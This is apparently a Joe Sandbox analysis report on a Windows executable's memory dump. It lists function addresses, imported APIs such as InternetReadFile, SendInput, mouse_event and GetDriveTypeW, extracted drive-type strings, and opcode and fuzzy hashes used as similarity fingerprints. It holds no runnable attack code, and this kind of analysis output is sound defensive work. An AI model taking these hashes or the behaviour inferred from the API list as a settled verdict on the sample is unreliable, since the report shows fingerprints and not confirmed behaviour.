Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Time$FileSystem
String ID: GetSystemTimePreciseAsFileTime
API String ID: 2086374402-595813830
Opcode ID: 572b71549e45f6bab70ab7a1e99299a405b58e83dcd9cf08a8343814aa6f0cc3
Instruction ID: 1afa62b2674fa41603de29d1ec1d883e02a36e6705d5a6bf5b8d8d023016a9bd
Opcode Fuzzy Hash: 572b71549e45f6bab70ab7a1e99299a405b58e83dcd9cf08a8343814aa6f0cc3
Instruction Fuzzy Hash: B9F03020A19E4791FE75BB71B8448B8AB10BF44BD4FD85031D90E06765EF3CD466C720

Function 00007FF7978767F0 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF797876A3D
RaiseException.KERNEL32 ref: 00007FF797876A4E

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 2c887139cc1f69395780bda7c312862f1bbc48349006177215bd8e385e5acab5
Instruction ID: 5cdd9b55ac8d9549c5e96d352f9a07395114c2453a071d68a71f0dc06d1ef37c
Opcode Fuzzy Hash: 2c887139cc1f69395780bda7c312862f1bbc48349006177215bd8e385e5acab5
Instruction Fuzzy Hash: 63B15EB3604B85CBEB25DF39C445768BBA0F744B88F588921DA5E877A4CB39D4A2C710

Function 00007FF7978B71F4 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF7978B7227
FindClose.KERNEL32 ref: 00007FF7978B726A

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
Instruction ID: 540e2869d54e78f0a617f808138e3f25d4ac08eecaeb5e9caa301643cf82068f
Opcode Fuzzy Hash: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
Instruction Fuzzy Hash: A9114F72B0874186DB20EB26E484768BB60FB84BD4F548631DA6D07B95CF7CD4628750

Function 00007FF7978B3778 Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF7978C7AD2), ref: 00007FF7978B379A
FormatMessageW.KERNEL32 ref: 00007FF7978B37C9

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 0610f22d45407fd0b47a7a649e0349a2c0dbbad51231877a54e137cb0a8b0597
Instruction ID: 554f1f42ca43134c799e90a3ab0e1771e365e06fc54508152be8a59fde56e055
Opcode Fuzzy Hash: 0610f22d45407fd0b47a7a649e0349a2c0dbbad51231877a54e137cb0a8b0597
Instruction Fuzzy Hash: F1F0A46161864241E7306B25F800A6AEBA5FFC97D4F904134EB9D43BA9DF3CC4168B14

Function 00007FF7978695B0 Relevance: 2.9, Strings: 2, Instructions: 378COMMONLIBRARYCODE

Download Yara Rule

Strings

am/pm, xrefs: 00007FF79786986E
a/p, xrefs: 00007FF7978698D9

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID: a/p$am/pm
API String ID: 0-3206640213
Opcode ID: abba1fb59dd0d37a808e969f9d786e5f26a4ac26cb0ba132a4672942b94724d8
Instruction ID: 907c2514a22fa9681a207389394dc6ebad2d0fb0cb5822c3c67bfc38fa1adf81
Opcode Fuzzy Hash: abba1fb59dd0d37a808e969f9d786e5f26a4ac26cb0ba132a4672942b94724d8
Instruction Fuzzy Hash: 7CE1F822A08A4295E774AF3581449BDABA4FF017C0FD4C939EA5D476C4EF3DE962C320

Function 00007FF79785C3FC Relevance: 2.7, Strings: 2, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0x%p, xrefs: 00007FF79785C40B
0, xrefs: 00007FF79785C5B3

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0$0x%p
API String ID: 3215553584-2479247192
Opcode ID: 2cf1ea9a671600e4e0a2c177b28b5012e25eeeeabff85c4abdd8ee56160d1f52
Instruction ID: 3c604294fe7126f5cd1357bf8769f9448abd6b9e5d5c742ec8eed8e08cea4789
Opcode Fuzzy Hash: 2cf1ea9a671600e4e0a2c177b28b5012e25eeeeabff85c4abdd8ee56160d1f52
Instruction Fuzzy Hash: EA811722A1820346EAB4AA758048E7DAFE1FF407C4FD425B1DD09D7695CF2DE867DB20

Function 00007FF79784FA4F Relevance: 1.7, Strings: 1, Instructions: 447COMMON

Download Yara Rule

Strings

no error, xrefs: 00007FF797893953

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID: no error
API String ID: 0-1106124726
Opcode ID: daf22cd7e491b1831c7a4d7ece73bd53412841c2595e7b00d29937dbea50e64a
Instruction ID: 275bab05a3d74909e7e568afa6ae08564cc89f4062043eb109781db44e83d5d8
Opcode Fuzzy Hash: daf22cd7e491b1831c7a4d7ece73bd53412841c2595e7b00d29937dbea50e64a
Instruction Fuzzy Hash: 1D12AD72A087918AE734DF75D440ABDBBB0FB08788B904139EE4E57B94DB38E961C750

Function 00007FF7978BE87C Relevance: 1.6, APIs: 1, Instructions: 62filenetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978648E0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF797864835

InternetReadFile.WININET ref: 00007FF7978BE8D8

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: FileInternetRead_invalid_parameter_noinfo
String ID:
API String ID: 101623796-0
Opcode ID: c3326f14f3a704366430a438f9a2af4b616e46cbc6777093e0014b63cfdf3a9b
Instruction ID: 05486ac9843d5fd4a846c3e6032cd64f03f3f061f20264512bdfd899a9fa7f0e
Opcode Fuzzy Hash: c3326f14f3a704366430a438f9a2af4b616e46cbc6777093e0014b63cfdf3a9b
Instruction Fuzzy Hash: 02219521B08A8246FBB4EA32A010BADA750FB45BC4FC45131DA4C07B85DF3CD617C750

Function 00007FF7978A9420 Relevance: 1.5, APIs: 1, Instructions: 26keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32 ref: 00007FF7978A9465

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: InputSend
String ID:
API String ID: 3431551938-0
Opcode ID: f56fcc02370cedd2e246ff2304cc88798786294839e2fbad01620a5262f8ee40
Instruction ID: 0ca1046cc81bc039cf3e15e93a380cec56a7a07a7ce15181d51fd8035fb8639a
Opcode Fuzzy Hash: f56fcc02370cedd2e246ff2304cc88798786294839e2fbad01620a5262f8ee40
Instruction Fuzzy Hash: 12F0B46691C5C0C6D3309F11E440B6ABBA0FB5879DF405115EBC947B54CB3EC11A8F14

Function 00007FF7978AD1A4 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

mouse_event.USER32 ref: 00007FF7978AD1E1

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 22580d01158ad9bfa3fe7041ad110d63b9247ba50e2670ae2e587d0f1c9f6309
Instruction ID: 7ef7b781ba2087bbb4188983db8ed609990db6b30a1f62ed680091d000f9316b
Opcode Fuzzy Hash: 22580d01158ad9bfa3fe7041ad110d63b9247ba50e2670ae2e587d0f1c9f6309
Instruction Fuzzy Hash: 33E01A75E0C04292F27C3A38592AF36DE51BB91380ED00135DB8986AD8CE5DA6279538

Function 00007FF79785C130 Relevance: 1.5, Strings: 1, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF79785C2E7

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
Instruction ID: bad232b3b4390c73f78b60a4f246ba1d738c3f800a0f0f29c89ff1ae4eb4e783
Opcode Fuzzy Hash: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
Instruction Fuzzy Hash: 71813921A1820346EB74AA758088D7EAFA0EF41BC4FD415B1DD0D9B685CF2DE867DF60

Function 00007FF79785BEB4 Relevance: 1.4, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF79785C04E

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
Instruction ID: 83839ef91b88d5e419fe42a03596feaea0f369516d8a4eb0d9a44fcb5002bd36
Opcode Fuzzy Hash: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
Instruction Fuzzy Hash: D5715A11A0C28346FB78AA355044E7DEF94AF51BC4FD405B1DD08876D5DE2DE8A78F21

Function 00007FF79786A8A0 Relevance: 1.4, Strings: 1, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

Strings

@, xrefs: 00007FF79786A8DC

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 16c5ff97d355010ed637a1ec5e52f006fc41d4859a4220ae5f264295bc75ec93
Instruction ID: 5f3edc2603692f61ec6027e4ff96807679257773a2a2560176f21fdcadf5f63c
Opcode Fuzzy Hash: 16c5ff97d355010ed637a1ec5e52f006fc41d4859a4220ae5f264295bc75ec93
Instruction Fuzzy Hash: 1B41D372714F4599EA14EF3AD8152A9B7A2F748FD4B99A032DE0D87754EE3CD852C300

Function 00007FF7978458D0 Relevance: .7, Instructions: 692COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0548de623bfebbda207010826f21370552519ffdf2f114197dd6058c9a5ad6be
Instruction ID: 2ec42c1c27a348d98e0c385c12a2ad491bfecf082119449aee6b023515440aa2
Opcode Fuzzy Hash: 0548de623bfebbda207010826f21370552519ffdf2f114197dd6058c9a5ad6be
Instruction Fuzzy Hash: 8D52A232E0C6428AEA34EB35D05AA7DAB65EF05BC4F954535DA1E076C1CFBCE462C360

Function 00007FF79783B390 Relevance: .7, Instructions: 682COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 9d465ec18e803e34d1bd0c6ca394c3de7e8a6968c16621e4032f4c5f472c5c82
Instruction ID: 418bffde2e065f50ca7f451760ae3a1cb1f3a2d4c515563e76d72ba925108a7d
Opcode Fuzzy Hash: 9d465ec18e803e34d1bd0c6ca394c3de7e8a6968c16621e4032f4c5f472c5c82
Instruction Fuzzy Hash: 5E52B472B0864185EB20EF79D0446BC7BA5EB44BD8F804235EE1E5BBD5EE38E466C350

Function 00007FF79783B9F0 Relevance: .6, Instructions: 577COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d6881597c576967ce42828278cf34ccdad6199525d835b60b86007221e50383
Instruction ID: e55882f16316bed1c7dbdd1e806af1cd500cea61c83ab21e5762833f6fecdb87
Opcode Fuzzy Hash: 4d6881597c576967ce42828278cf34ccdad6199525d835b60b86007221e50383
Instruction Fuzzy Hash: 44428E32B0864186EB20EB39D480ABDAFA5FB847D8F904135EE5D47B95DF39E462C710

Function 00007FF7978630DC Relevance: .5, Instructions: 535COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
Instruction ID: 1c3d27ada2eedfe3704fc4dbda227bef550cdca09b2f3f7857891bf18310b645
Opcode Fuzzy Hash: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
Instruction Fuzzy Hash: 7F422821D29F5A95D673BB35A851D35AF28BF553C0F818333E80EB6A54FF2CA4638610

Function 00007FF7978B1A18 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2308bd2b59363eb380d9f2aadf6ae7fcc9e74111fd97fe2ff68e231cb56cb52
Instruction ID: 8ab9987c76b6c57547caff76c48adb598fa88ddee982990f9fc9c9b3ebf0a56b
Opcode Fuzzy Hash: c2308bd2b59363eb380d9f2aadf6ae7fcc9e74111fd97fe2ff68e231cb56cb52
Instruction Fuzzy Hash: 7B21D133F2444286E718DF76D852AB977A5E360758F88C13AC52B87384CE3CE906C760

Function 00007FF79786FD20 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
Instruction ID: 4bef3c01b5ccc12934d8ea80990b785d33bca910732f5103b2f97aacd813c4fc
Opcode Fuzzy Hash: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
Instruction Fuzzy Hash: 85F04471B196568ADBA4DF2CB4426297791E7083D0B908439D68983E44DA3C9061DF14

Function 00007FF7978559C8 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
Instruction ID: 371c923ef23cfdb5f65ad565caee7a38b9207d5598464f8813646b0738760794
Opcode Fuzzy Hash: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
Instruction Fuzzy Hash: F2A0022590EC02D4E624BB20FC50870BB31EF50390BD104B2D00D42476EF3CA4A2C320

Function 00007FF7978B4F30 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 247COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF7978B4F61
GetDriveTypeW.KERNEL32 ref: 00007FF7978B50BE
SetErrorMode.KERNEL32 ref: 00007FF7978B52A3

Strings

SATA, xrefs: 00007FF7978B524C
SAS, xrefs: 00007FF7978B5255
SSA, xrefs: 00007FF7978B51D2
CDROM, xrefs: 00007FF7978B50F9
Fixed, xrefs: 00007FF7978B5111
iSCSI, xrefs: 00007FF7978B525E
Network, xrefs: 00007FF7978B5105
SSD, xrefs: 00007FF7978B515D
ATAPI, xrefs: 00007FF7978B51F0
ATA, xrefs: 00007FF7978B51E7
Unknown, xrefs: 00007FF7978B50E1
\\.\, xrefs: 00007FF7978B4FAE
Fibre, xrefs: 00007FF7978B51C6
PhysicalDrive, xrefs: 00007FF7978B4FF5
Removable, xrefs: 00007FF7978B511D
MMC, xrefs: 00007FF7978B523A
USB, xrefs: 00007FF7978B51BA
SCSI, xrefs: 00007FF7978B51F9
RAMDisk, xrefs: 00007FF7978B50ED
RAID, xrefs: 00007FF7978B5202
Virtual, xrefs: 00007FF7978B5231
1394, xrefs: 00007FF7978B51DE
FileBackedVirtual, xrefs: 00007FF7978B5228

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
